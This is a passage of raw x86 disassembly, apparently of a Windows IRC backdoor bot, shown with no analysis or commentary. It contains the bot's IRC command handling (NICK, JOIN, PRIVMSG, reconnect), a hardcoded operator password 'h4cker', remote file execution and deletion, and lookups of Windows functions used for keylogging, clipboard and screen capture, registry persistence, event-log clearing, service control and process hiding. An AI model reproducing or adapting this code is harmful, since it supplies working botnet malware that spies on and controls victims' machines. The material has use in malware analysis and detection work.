[ebp+var_2C0] push 1Ah push eax call sub_40AF8D add esp, 40h mov [ebp+var_1BA8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D4C] push ebx push eax push offset sub_416398 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_1BA8] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_4092A7 loc_40928E: ; CODE XREF: sub_401B66+748j call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42AFD0 jmp loc_408338 ; --------------------------------------------------------------------------- loc_40929F: ; CODE XREF: sub_401B66+7747j push 32h call dword_428064 ; Sleep loc_4092A7: ; CODE XREF: sub_401B66+7726j cmp [ebp+var_1B9C], ebx jz short loc_40929F jmp loc_402418 ; --------------------------------------------------------------------------- loc_4092B4: ; CODE XREF: sub_401B66+3EE6j ; sub_401B66+3EFBj push [ebp+arg_10] call dword_428080 ; DeleteFileA test eax, eax jz short loc_4092CB push [ebp+arg_10] push offset dword_42AFB4 jmp short loc_4092D6 ; --------------------------------------------------------------------------- loc_4092CB: ; CODE XREF: sub_401B66+7759j push offset dword_42B800 call sub_418827 push eax loc_4092D6: ; CODE XREF: sub_401B66+7763j lea eax, [ebp+var_2C0] push 200h push eax call sub_41C150 loc_4092E7: ; CODE XREF: sub_401B66+7856j add esp, 10h jmp loc_406C9B ; --------------------------------------------------------------------------- loc_4092EF: ; CODE XREF: sub_401B66+3EBCj ; sub_401B66+3ED1j push [ebp+arg_10] call sub_41BF49 push eax call sub_41A178 xor esi, esi pop ecx inc esi pop ecx push [ebp+arg_10] cmp eax, esi lea eax, [ebp+var_2C0] jnz short loc_409316 push offset unk_42AF90 jmp short loc_40931B ; --------------------------------------------------------------------------- loc_409316: ; CODE XREF: sub_401B66+77A7j push offset unk_42AF60 loc_40931B: ; CODE XREF: sub_401B66+77AEj push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406CBF push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h jmp loc_406CBF ; --------------------------------------------------------------------------- loc_40934E: ; CODE XREF: sub_401B66+3E92j ; sub_401B66+3EA7j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_419E77 add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_409374 push offset unk_42AF40 jmp loc_406C8C ; --------------------------------------------------------------------------- loc_409374: ; CODE XREF: sub_401B66+7802j push offset unk_42AF10 jmp loc_406C8C ; --------------------------------------------------------------------------- loc_40937E: ; CODE XREF: sub_401B66+3E68j ; sub_401B66+3E7Dj mov esi, [ebp+arg_10] push esi call dword_4CDCA4 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_2D0], eax jz short loc_4093C1 push 2 lea eax, [ebp+var_2D0] push 4 push eax call dword_4CDC1C ; gethostbyaddr cmp eax, ebx jz short loc_4093DC push dword ptr [eax] loc_4093AA: ; CODE XREF: sub_401B66+7874j push esi lea eax, [ebp+var_2C0] push offset unk_42AEF0 push eax call sub_41C056 jmp loc_4092E7 ; --------------------------------------------------------------------------- loc_4093C1: ; CODE XREF: sub_401B66+782Bj push esi call dword_4CDCE8 ; gethostbyname cmp eax, ebx jz short loc_4093DC mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CDCF0 ; inet_ntoa push eax jmp short loc_4093AA ; --------------------------------------------------------------------------- loc_4093DC: ; CODE XREF: sub_401B66+7840j ; sub_401B66+7864j push offset unk_42AEC8 jmp loc_40621B ; --------------------------------------------------------------------------- loc_4093E6: ; CODE XREF: sub_401B66+3E3Ej ; sub_401B66+3E53j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41BDC0 push [ebp+arg_10] lea eax, [ebp+var_2C0] push offset unk_42AEA0 push eax call sub_41C056 add esp, 18h jmp loc_406EC5 ; --------------------------------------------------------------------------- loc_40940F: ; CODE XREF: sub_401B66+3E14j ; sub_401B66+3E29j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CDBD0 ; ShellExecuteA push [ebp+arg_10] test eax, eax jz short loc_409433 push offset unk_42AE80 jmp loc_406C8C ; --------------------------------------------------------------------------- loc_409433: ; CODE XREF: sub_401B66+78C1j push offset unk_42AE5C jmp loc_406C8C ; --------------------------------------------------------------------------- loc_40943D: ; CODE XREF: sub_401B66+3DEAj ; sub_401B66+3DFFj mov eax, [ebp+arg_10] mov cl, [eax] mov byte_42A090, cl movsx eax, byte ptr [eax] push eax push offset unk_42AE34 jmp loc_405F5E ; --------------------------------------------------------------------------- loc_409456: ; CODE XREF: sub_401B66+3DC0j ; sub_401B66+3DD5j push [ebp+arg_10] call sub_41BF49 test eax, eax pop ecx jle loc_40976F push [ebp+arg_10] call sub_41BF49 cmp eax, 400h pop ecx jge loc_40976F push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AF23 push eax lea eax, [ebp+var_2C0] push offset dword_42CB14 push eax call sub_41C056 add esp, 1Ch jmp loc_4088DA ; --------------------------------------------------------------------------- loc_4094A5: ; CODE XREF: sub_401B66+3D96j ; sub_401B66+3DABj mov esi, [ebp+arg_10] push esi call sub_41BF49 test eax, eax pop ecx jle loc_401F9E push esi call sub_41BF49 cmp eax, 400h pop ecx jge loc_401F9E push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41BF49 imul eax, 234h pop ecx push dword_440BA4[eax] call sub_40993C pop ecx pop ecx push 1F4h call dword_428064 ; Sleep push esi call sub_41BF49 imul eax, 234h pop ecx push dword_440BA4[eax] call dword_4CDCFC ; closesocket push [ebp+var_10] push esi call sub_41BF49 imul eax, 234h pop ecx push dword_440BAC[eax] call dword_4280AC ; TerminateThread push esi call sub_41BF49 imul eax, 234h push esi mov dword_440BAC[eax], ebx call sub_41BF49 imul eax, 234h pop ecx pop ecx mov byte ptr dword_440998[eax], bl jmp loc_401F9E ; --------------------------------------------------------------------------- loc_409553: ; CODE XREF: sub_401B66+3D6Cj ; sub_401B66+3D81j push [ebp+arg_10] push offset aAll ; "all" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_409584 call sub_40B150 cmp eax, ebx jle short loc_40957A push eax push offset unk_42AE08 jmp loc_4072D7 ; --------------------------------------------------------------------------- loc_40957A: ; CODE XREF: sub_401B66+7A07j push offset unk_42ADE0 jmp loc_403FB5 ; --------------------------------------------------------------------------- loc_409584: ; CODE XREF: sub_401B66+79FEj mov eax, [ebp+var_A4] lea esi, [eax+1] jmp short loc_4095FB ; --------------------------------------------------------------------------- loc_40958F: ; CODE XREF: sub_401B66+7A98j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401F9E push edi call sub_41BF49 push eax call sub_40B0C8 pop ecx pop ecx test eax, eax push edi lea eax, [ebp+var_2C0] jz short loc_4095BE push offset unk_42ADBC jmp short loc_4095C3 ; --------------------------------------------------------------------------- loc_4095BE: ; CODE XREF: sub_401B66+7A4Fj push offset unk_42AD90 loc_4095C3: ; CODE XREF: sub_401B66+7A56j push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4095ED push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h loc_4095ED: ; CODE XREF: sub_401B66+7A69j lea eax, [ebp+var_2C0] push eax call sub_4157A5 pop ecx inc esi loc_4095FB: ; CODE XREF: sub_401B66+7A27j cmp esi, 20h jb short loc_40958F jmp loc_401F9E ; --------------------------------------------------------------------------- loc_409605: ; CODE XREF: sub_401B66+3D42j ; sub_401B66+3D57j cmp [ebp+var_C], ebx jz loc_40976F push [ebp+arg_10] push [ebp+var_C] call sub_41C0D0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40976F push esi push offset dword_42B53C push [ebp+arg_4] call sub_40993C push esi push offset dword_42AD74 jmp loc_408ABB ; --------------------------------------------------------------------------- loc_40963E: ; CODE XREF: sub_401B66+3D18j ; sub_401B66+3D2Dj push [ebp+arg_10] push offset dword_42B4A0 push [ebp+arg_4] call sub_40993C push [ebp+arg_10] push offset unk_42AD50 jmp loc_408ABB ; --------------------------------------------------------------------------- loc_40965B: ; CODE XREF: sub_401B66+3CEEj ; sub_401B66+3D03j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40993C push [ebp+arg_10] push offset unk_42AD2C jmp loc_40898E ; --------------------------------------------------------------------------- loc_40967F: ; CODE XREF: sub_401B66+3CC4j ; sub_401B66+3CD9j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40993C push [ebp+arg_10] push offset unk_42AD08 jmp loc_408ABB ; --------------------------------------------------------------------------- loc_40969C: ; CODE XREF: sub_401B66+312Fj ; sub_401B66+3144j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40993C push [ebp+arg_10] lea eax, [ebp+var_2C0] push offset unk_42ACE4 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_4157A5 push [ebp+arg_10] call sub_41BF49 add esp, 1Ch loc_4096D4: ; CODE XREF: sub_401B66+7BBAj push eax call dword_428064 ; Sleep loc_4096DB: ; CODE XREF: sub_401B66+2A49j xor eax, eax jmp loc_401FA1 ; --------------------------------------------------------------------------- loc_4096E2: ; CODE XREF: sub_401B66+3105j ; sub_401B66+311Aj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40993C push [ebp+arg_10] lea eax, [ebp+var_2C0] push offset unk_42ACBC push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_4157A5 push [ebp+arg_10] call sub_41BF49 add esp, 1Ch imul eax, 3E8h jmp short loc_4096D4 ; --------------------------------------------------------------------------- loc_409722: ; CODE XREF: sub_401B66+E21j ; sub_401B66+E36j push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8EC], bl setnz al push eax lea eax, [ebp+var_334] push dword_42A098 push eax call sub_40AF23 lea eax, [ebp+var_334] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40993C lea eax, [ebp+var_334] push eax push offset unk_42AC98 call sub_415819 loc_40976C: ; CODE XREF: sub_401B66+51C0j add esp, 24h loc_40976F: ; CODE XREF: sub_401B66+5CEj ; sub_401B66+5DAj ... mov eax, [ebp+arg_24] jmp loc_401FA1 ; --------------------------------------------------------------------------- loc_409777: ; CODE XREF: sub_401B66+A19j ; sub_401B66+A2Ej mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401F9E cmp [ebp+var_A8], ebx jnz loc_401F9E push offset asc_42E0C4 ; "!" push [ebp+var_90] call sub_41C8C4 mov esi, eax push offset word_4CDB1C push ebx inc esi call sub_41C8C4 push offset asc_42AC94 ; "~" push eax call sub_41C8C4 push [ebp+arg_10] mov edi, eax push offset aH4cker ; "h4cker" call sub_41C840 add esp, 20h test eax, eax jz short loc_40981F lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_40993C lea eax, [ebp+var_C0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_40993C push edi push esi push offset unk_42AC14 loc_40980B: ; CODE XREF: sub_401B66+7D12j lea eax, [ebp+var_2C0] push eax call sub_41C056 add esp, 30h jmp loc_402418 ; --------------------------------------------------------------------------- loc_40981F: ; CODE XREF: sub_401B66+7C6Cj mov [ebp+arg_24], ebx loc_409822: ; CODE XREF: sub_401B66+7CD9j mov eax, [ebp+arg_24] push edi push off_42A170[eax] call sub_40B2E0 pop ecx test eax, eax pop ecx jnz short loc_40987A add [ebp+arg_24], 4 cmp [ebp+arg_24], 4 jb short loc_409822 lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_40993C lea eax, [ebp+var_C0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_40993C push edi push esi push offset unk_42ABC0 jmp short loc_40980B ; --------------------------------------------------------------------------- loc_40987A: ; CODE XREF: sub_401B66+7CCFj mov edi, [ebp+arg_18] xor esi, esi loc_40987F: ; CODE XREF: sub_401B66+7D3Aj cmp [edi], bl jnz short loc_409896 push [ebp+arg_10] push offset aH4cker ; "h4cker" call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_4098A7 loc_409896: ; CODE XREF: sub_401B66+7D1Bj inc esi add edi, 80h cmp esi, 1 jl short loc_40987F jmp loc_401F9E ; --------------------------------------------------------------------------- loc_4098A7: ; CODE XREF: sub_401B66+7D2Ej shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E2C] push 7Fh push eax push esi call sub_41BDC0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4098DE push ebx push [ebp+var_4] push offset unk_42ABA0 push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h loc_4098DE: ; CODE XREF: sub_401B66+7D5Cj lea eax, [ebp+var_C0] push eax push offset unk_42AB80 loc_4098EA: ; CODE XREF: sub_401B66+529j ; sub_401B66+2825j ... call sub_415819 loc_4098EF: ; CODE XREF: sub_401B66+1B08j pop ecx loc_4098F0: ; CODE XREF: sub_401B66+248Aj pop ecx jmp loc_401F9E ; --------------------------------------------------------------------------- loc_4098F6: ; CODE XREF: sub_401B66+200j ; sub_401B66+215j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40993C push offset aI_3 ; "+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40993C push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40993C add esp, 2Ch mov dword_4CDB14, edi jmp loc_401DF5 sub_401B66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40993C proc near ; CODE XREF: sub_4019F7+30p ; sub_401B66+1BDp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C960 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CDCB4 ; send leave retn sub_40993C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409982 proc near ; CODE XREF: sub_401B66+496p ; sub_401B66+12C2p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40999D mov edi, offset aPrivmsg ; "PRIVMSG" loc_40999D: ; CODE XREF: sub_409982+14j push edi call sub_41B7B0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B7B0 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_2 ; "%s" push esi push eax call sub_41C150 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41C056 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CDCB4 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409A1B push 7D0h call dword_428064 ; Sleep locret_409A1B: ; CODE XREF: sub_409982+8Cj leave retn sub_409982 endp ; =============== S U B R O U T I N E ======================================= sub_409A1D proc near ; CODE XREF: sub_401252+4Bp push ebx push ebp mov ebp, dword_42809C push esi push edi push offset aKernel32_dll_0 ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, dword_4280BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409B3D push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CDD10, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_4CDC84, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_4CDC68, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_4CDB78, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CDB24, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CDB54, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CDBCC, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CDCC4, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CDD1C, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CDB84, eax call esi ; GetProcAddress cmp dword_4CDD10, ebx mov dword_4CDB6C, eax jz short loc_409B1B cmp dword_4CDC84, ebx jz short loc_409B1B cmp dword_4CDC68, ebx jz short loc_409B1B cmp dword_4CDB78, ebx jz short loc_409B1B cmp dword_4CDB54, ebx jz short loc_409B1B cmp dword_4CDBCC, ebx jz short loc_409B1B cmp dword_4CDCC4, ebx jz short loc_409B1B cmp dword_4CDD1C, ebx jz short loc_409B1B cmp dword_4CDB84, ebx jz short loc_409B1B cmp eax, ebx jnz short loc_409B25 loc_409B1B: ; CODE XREF: sub_409A1D+B8j ; sub_409A1D+C0j ... mov dword_4CDD20, 1 loc_409B25: ; CODE XREF: sub_409A1D+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4CDC9C, eax jz short loc_409B52 push 1 push ebx call eax jmp short loc_409B52 ; --------------------------------------------------------------------------- loc_409B3D: ; CODE XREF: sub_409A1D+1Dj call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD24, eax mov dword_4CDD20, 1 loc_409B52: ; CODE XREF: sub_409A1D+117j ; sub_409A1D+11Ej push offset aUser32_dll ; "user32.dll" call dword_4280B8 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409C67 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CDCC0, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_4CDC70, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CDC04, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CDD14, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CDC34, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CDC54, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CDCB8, eax call esi ; GetProcAddress cmp dword_4CDCC0, ebx mov dword_4CDBA4, eax jz short loc_409C0B cmp dword_4CDC70, ebx jz short loc_409C0B cmp dword_4CDC04, ebx jz short loc_409C0B cmp dword_4CDD14, ebx jz short loc_409C0B cmp dword_4CDC34, ebx jz short loc_409C0B cmp dword_4CDC54, ebx jz short loc_409C0B cmp dword_4CDCB8, ebx jz short loc_409C0B cmp eax, ebx jnz short loc_409C15 loc_409C0B: ; CODE XREF: sub_409A1D+1B8j ; sub_409A1D+1C0j ... mov dword_4CDD28, 1 loc_409C15: ; CODE XREF: sub_409A1D+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CDC30, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CDB38, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CDC00, eax call esi ; GetProcAddress cmp dword_4CDC30, ebx mov dword_4CDBE8, eax jz short loc_409C72 cmp dword_4CDB38, ebx jz short loc_409C72 cmp dword_4CDC00, ebx jz short loc_409C72 cmp eax, ebx jnz short loc_409C7C jmp short loc_409C72 ; --------------------------------------------------------------------------- loc_409C67: ; CODE XREF: sub_409A1D+144j call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD2C, eax loc_409C72: ; CODE XREF: sub_409A1D+232j ; sub_409A1D+23Aj ... mov dword_4CDD28, 1 loc_409C7C: ; CODE XREF: sub_409A1D+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409E35 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CDCD4, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CDC18, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CDC88, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CDB64, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CDBC8, eax call esi ; GetProcAddress push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CDC40, eax call esi ; GetProcAddress push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CDBE4, eax call esi ; GetProcAddress cmp dword_4CDCD4, ebx mov dword_4CDBF4, eax jz short loc_409D25 cmp dword_4CDC18, ebx jz short loc_409D25 cmp dword_4CDC88, ebx jz short loc_409D25 cmp dword_4CDB64, ebx jz short loc_409D25 cmp dword_4CDBC8, ebx jz short loc_409D25 cmp dword_4CDC40, ebx jnz short loc_409D2F loc_409D25: ; CODE XREF: sub_409A1D+2DEj ; sub_409A1D+2E6j ... mov dword_4CDD30, 1 loc_409D2F: ; CODE XREF: sub_409A1D+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CDC48, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CDC20, eax call esi ; GetProcAddress cmp dword_4CDC48, ebx mov dword_4CDCD0, eax jz short loc_409D6A cmp dword_4CDC20, ebx jz short loc_409D6A cmp eax, ebx jnz short loc_409D74 loc_409D6A: ; CODE XREF: sub_409A1D+33Fj ; sub_409A1D+347j mov dword_4CDD30, 1 loc_409D74: ; CODE XREF: sub_409A1D+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CDC58, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_4CDB40, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_4CDB48, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_4CDBAC, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CDBB0, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CDB5C, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CDC24, eax call esi ; GetProcAddress cmp dword_4CDC58, ebx mov dword_4CDB4C, eax jz short loc_409E18 cmp dword_4CDB40, ebx jz short loc_409E18 cmp dword_4CDB48, ebx jz short loc_409E18 cmp dword_4CDBAC, ebx jz short loc_409E18 cmp dword_4CDBB0, ebx jz short loc_409E18 cmp dword_4CDB5C, ebx jz short loc_409E18 cmp dword_4CDC24, ebx jz short loc_409E18 cmp eax, ebx jnz short loc_409E22 loc_409E18: ; CODE XREF: sub_409A1D+3C5j ; sub_409A1D+3CDj ... mov dword_4CDD30, 1 loc_409E22: ; CODE XREF: sub_409A1D+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4CDB44, eax jnz short loc_409E4A jmp short loc_409E40 ; --------------------------------------------------------------------------- loc_409E35: ; CODE XREF: sub_409A1D+26Aj call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD34, eax loc_409E40: ; CODE XREF: sub_409A1D+416j mov dword_4CDD30, 1 loc_409E4A: ; CODE XREF: sub_409A1D+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409F16 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CDC50, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CDCA8, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CDCB0, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CDC6C, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_4CDB88, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_4CDB34, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_4CDCAC, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CDB20, eax call esi ; GetProcAddress cmp dword_4CDC50, ebx mov dword_4CDBC0, eax jz short loc_409F21 cmp dword_4CDCA8, ebx jz short loc_409F21 cmp dword_4CDCB0, ebx jz short loc_409F21 cmp dword_4CDC6C, ebx jz short loc_409F21 cmp dword_4CDB88, ebx jz short loc_409F21 cmp dword_4CDB34, ebx jz short loc_409F21 cmp dword_4CDCAC, ebx jz short loc_409F21 cmp dword_4CDB20, ebx jz short loc_409F21 cmp eax, ebx jnz short loc_409F2B jmp short loc_409F21 ; --------------------------------------------------------------------------- loc_409F16: ; CODE XREF: sub_409A1D+438j call dword_42808C ; RtlGetLastWin32Error mov dword_4CDD3C, eax loc_409F21: ; CODE XREF: sub_409A1D+4B9j ; sub_409A1D+4C1j ... mov dword_4CDD38, 1 loc_409F2B: ; CODE XREF: sub_409A1D+4F5j mov ebp, dword_4280B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A1E7 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CDBD4, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CDD08, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CDB74, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CDB50, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CDC10, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CDBF8, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_4CDBBC, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CDCE4, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_4CDD00, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CDC0C, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_4CDCF0, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_4CDCA4, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_4CDC64, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_4CDC60, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_4CDB94, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov dword_4CDB8C, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_4CDCB4, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_4CDCC8, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_4CDC7C, eax call esi ; GetProcAddress mov dword_4CDC3C, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_4CDC90, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_4CDC4C, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_4CDC8C, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_4CDCF8, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_4CDC44, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_4CDC08, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CDC78, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CDCE8, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_4CDC1C, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_4CDBB8, eax call esi ; 